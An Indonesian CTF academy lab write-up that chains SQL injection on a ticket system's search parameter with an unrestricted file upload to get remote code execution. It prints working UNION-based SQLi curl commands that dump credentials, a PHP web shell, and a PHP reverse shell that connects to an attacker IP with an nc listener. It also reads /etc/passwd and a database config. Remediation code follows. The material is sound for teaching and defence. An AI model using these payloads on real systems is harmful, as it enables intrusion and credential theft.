TDCTF Academy Logo TDCTF ACADEMY

Ticket System - SQLi + File Upload RCE

Objective

Mendapatkan Remote Code Execution (RCE) pada aplikasi ticket system di ticket-vuln.vuln.cybersecurity.or.id melalui kombinasi dua kerentanan:

  1. SQL Injection (SQLi) pada parameter pencarian
  2. Unrestricted File Upload - upload shell PHP untuk eksekusi perintah

Tujuan akhir: mendapatkan reverse shell atau akses shell ke server.


Reconnaissance

1. Identifikasi Aplikasi

Buka target:

http://ticket-vuln.vuln.cybersecurity.or.id

Aplikasi adalah sistem manajemen tiket dengan fitur:

  • Halaman login
  • Dashboard
  • Pencarian tiket
  • Upload attachment pada tiket

2. Uji Parameter Pencarian

Ditemukan fitur pencarian tiket:

http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001

Uji dengan SQL Injection:

curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001'"

Hasil:

You have an error in your SQL syntax; check the manual...

Error-based SQL Injection terkonfirmasi.


Exploitation - Part 1: SQL Injection

1. Enumerasi Database

# Dapatkan nama database
curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,database(),3,4,5-- -"

Hasil:

ticket_db

2. Enumerasi Tabel

curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(table_name),3,4,5 FROM information_schema.tables WHERE table_schema='ticket_db'-- -"

Hasil:

tickets,users,attachments,settings

3. Enumerasi Kolom Tabel Users

curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'-- -"

Hasil:

id,username,password,role,email

4. Ekstrak Kredensial

curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(username,':',password,':',role),3,4,5 FROM users-- -"

Hasil:

admin:hash_pass_unknown:admin,operator:ticket_op123:operator

5. Cari Fitur Upload di Panel Admin

Login sebagai admin (jika password bisa di-crack) atau operator, lalu jelajahi dashboard.

Dari panel operator, ditemukan fitur:

http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new

Form tiket baru memiliki field file upload untuk attachment.


Exploitation - Part 2: File Upload RCE

1. Analisis Fitur Upload

Buka halaman upload dan periksa source code:

curl -s "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" | grep -i "input.*file"

Hasil:

<input type="file" name="attachment" accept="image/*,application/pdf">

Validasi hanya di client-side (accept attribute) - tidak ada validasi server-side yang ketat.

2. Buat PHP Shell

cat << 'EOF' > shell.php
<?php
system($_GET['cmd']);
?>
EOF

Atau shell yang lebih canggih:

cat << 'EOF' > shell_adv.php
<?php
if(isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
?>
EOF

3. Upload Shell via Curl

curl -X POST "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" \
-b "PHPSESSID=operator_session_id" \
-F "title=Test RCE" \
-F "description=Testing upload vulnerability" \
-F "[email protected];type=image/jpeg" \
-F "priority=high" \
-F "submit=Create+Ticket"

Hasil: File berhasil diupload. Dari response, didapatkan path file:

/uploads/tickets/shell_12345.php

4. Verifikasi RCE

Akses shell yang diupload:

curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=id"

Hasil:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE berhasil - perintah id tereksekusi di server.

5. Eksekusi Perintah Lanjutan

# List direktori
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=ls+-la+/var/www/html"

# Cek konfigurasi database
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/var/www/html/config.php"

# Cek user lain di sistem
curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/etc/passwd"

6. Reverse Shell (Opsional)

Upload reverse shell script:

cat << 'EOF' > reverseshell.php
<?php
$ip = '10.10.10.10'; // Ganti dengan IP attacker
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
EOF

Upload dan jalankan:

curl -X POST "http://ticket-vuln.vuln.cybersecurity.or.id/ticket/new" \
-b "PHPSESSID=operator_session_id" \
-F "title=Reverse Shell" \
-F "description=Test" \
-F "[email protected];type=image/jpeg" \
-F "priority=high" \
-F "submit=Create+Ticket"

Di server attacker, buka listener:

nc -lvnp 4444

Akses shell:

curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/reverseshell_67890.php"

Evidence

SQL Injection - Ekstrak Data

$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/search?q=INC-001' UNION SELECT 1,GROUP_CONCAT(username,':',password,':',role),3,4,5 FROM users-- -"
1 admin:hash_pass_unknown:admin,operator:ticket_op123:operator 3 4 5

File Upload - PHP Shell Terupload

$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

File System Access

$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=ls+-la+/var/www/html"
total 128
drwxr-xr-x 8 www-data www-data 4096 ...
-rw-r--r-- 1 www-data www-data 123 ...
...

Konfigurasi Database

$ curl "http://ticket-vuln.vuln.cybersecurity.or.id/uploads/tickets/shell_12345.php?cmd=cat+/var/www/html/config.php"
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'ticket_admin');
define('DB_PASS', 'TicketDB@2024!');
define('DB_NAME', 'ticket_db');
?>

️ Risk Assessment

Vulnerability 1: SQL Injection

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.8 (Critical)

Vulnerability 2: Unrestricted File Upload

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base Score 8.8 (High)

Combined Impact

Faktor Nilai
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Base Score 10.0 (Critical) - chain attack dari SQLi + File Upload
OWASP Mapping A03:2021 - Injection + A05:2021 - Security Misconfiguration

Dampak Bisnis

  • Full server compromise (RCE)
  • Akses ke database (kredensial, data tiket, data pelanggan)
  • Pivot ke server internal lainnya
  • Potensi data breach dan kebocoran informasi sensitif
  • Complete loss of server integrity

️ Remediation

1. Perbaiki SQL Injection - Prepared Statement

Kode rentan (PHP):

$q = $_GET['q'];
$query = "SELECT * FROM tickets WHERE code LIKE '%$q%'";
$result = mysqli_query($conn, $query);

Kode aman (Prepared Statement):

$stmt = $conn->prepare("SELECT * FROM tickets WHERE code LIKE ?");
$search = "%" . $_GET['q'] . "%";
$stmt->bind_param("s", $search);
$stmt->execute();
$result = $stmt->get_result();

2. Perbaiki File Upload - Whitelist Ekstensi + Validasi MIME

$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf'];
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];

$file_ext = strtolower(pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION));
$file_mime = mime_content_type($_FILES['attachment']['tmp_name']);
$file_size = $_FILES['attachment']['size'];

// Validasi ekstensi
if (!in_array($file_ext, $allowed_extensions)) {
die("Ekstensi file tidak diizinkan.");
}

// Validasi MIME type (cek isi file, bukan header HTTP)
if (!in_array($file_mime, $allowed_mime)) {
die("Tipe file tidak valid.");
}

// Batasi ukuran file (max 5MB)
if ($file_size > 5 * 1024 * 1024) {
die("Ukuran file terlalu besar.");
}

// Generate nama file unik (jangan pakai nama asli)
$new_filename = uniqid() . '.' . $file_ext;
$upload_path = '/var/www/html/uploads/' . $new_filename;
move_uploaded_file($_FILES['attachment']['tmp_name'], $upload_path);

3. Konfigurasi Keamanan Web Server

Nginx - Non-eksekusi PHP di direktori upload:

location /uploads/ {
location ~ \.php$ {
deny all;
}
}

Apache (.htaccess di folder uploads):

<FilesMatch "\.(php|php5|phtml|pht)$">
Require all denied
</FilesMatch>

4. Least Privilege

  • Database user hanya perlu akses SELECT untuk operasi search
  • Filesystem permission: direktori upload tidak boleh executable
  • Gunakan user terpisah untuk web server dengan akses minimal

5. Keamanan Berlapis

  • Implementasi WAF (ModSecurity)
  • Input validation di sisi server (bukan hanya client-side)
  • Logging dan monitoring semua aktivitas upload
  • Regular security scanning

References

PADA HALAMAN INI